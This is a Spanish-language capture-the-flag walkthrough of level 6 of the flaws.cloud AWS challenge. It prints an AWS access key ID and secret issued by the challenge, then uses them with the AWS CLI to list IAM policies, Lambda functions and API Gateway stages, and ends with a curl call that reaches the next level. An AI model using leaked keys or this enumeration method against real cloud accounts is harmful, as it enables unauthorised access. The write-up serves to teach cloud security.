Level 6
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
Nos creamos un profile:
aws configure --profile ctf4
whoami
aws sts get-caller-identity --profile ctf4
{
"UserId": "AIDAIRMDOSCWGLCDWOG6A",
"Account": "975426262029",
"Arn": "arn:aws:iam::975426262029:user/Level6"
}
aws iam list-attached-user-policies --user-name Level6 --profile ctf4
{
"AttachedPolicies": [
{
"PolicyName": "MySecurityAudit",
"PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
},
{
"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
}
]
Ver mas info de la política:
aws iam get-policy --policy-arn "arn:aws:iam::975426262029:policy/MySecurityAudit" --profile ctf4
{
"Policy": {
"PolicyName": "MySecurityAudit",
"PolicyId": "ANPAJCK5AS3ZZEILYYVC6",
"Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "Most of the security audit capabilities",
"CreateDate": "2019-03-03T16:42:45+00:00",
"UpdateDate": "2019-03-03T16:42:45+00:00",
"Tags": []
}
}
Para mostrar el documento completo de la política:
aws iam get-policy-version --policy-arn "arn:aws:iam::975426262029:policy/MySecurityAudit" --version-id v1 --profile ctf4 --query 'PolicyVersion.Document' --output text
Vemos que tenemos permisos para listar los buckets
aws iam get-policy-version --policy-arn "arn:aws:iam::975426262029:policy/MySecurityAudit" --version-id v1 --profile ctf4 --query 'PolicyVersion.Document' --output text | grep s3
ACTION s3:ListAllMyBuckets
Listamos info de la otra política
aws --profile level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
aws --profile level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"apigateway:GET"
],
"Effect": "Allow",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2017-02-20T01:48:17+00:00"
}
}
Nos están concediendo permiso para hacer consultas get al API gateway (puerta de entrada al lambda)dentro de /restapis/
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
Cuando haces una consulta a este API se invoca una función lambda, la cuál devuelve una respuesta.
No conocemos la función lambda, pero tenemos permisos para listarlas:
aws lambda list-functions --region us-west-2 --profile ctf4
Existe una con nombre Level6
Listamos la política de esa lambda
aws lambda get-policy --function-name Level6 --region us-west-2 --profile ctf4
Pone algo como:
arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6
Que significa que para invocar esa lambda hay que hacerlo desde una api gateway con id s33ppypa75
Buscamos el entorno en el que está desplegada esa api:
aws apigateway get-stages --rest-api-id "s33ppypa75" --region us-west-2 --profile ctf4
{
"item": [
{
"deploymentId": "8gppiv",
"stageName": "Prod",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"methodSettings": {},
"tracingEnabled": false,
"createdDate": "2017-02-27T00:26:08+00:00",
"lastUpdatedDate": "2017-02-27T00:26:08+00:00"
}
]
}
y con esto podemos hacer peticiones GET a la API del gateway para que la labmda nos cocine un resultado y nos lo devuelva
https://{rest-api-id}.execute-api.{region}.amazonaws.com/{stage-name}/{resource-path}
curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/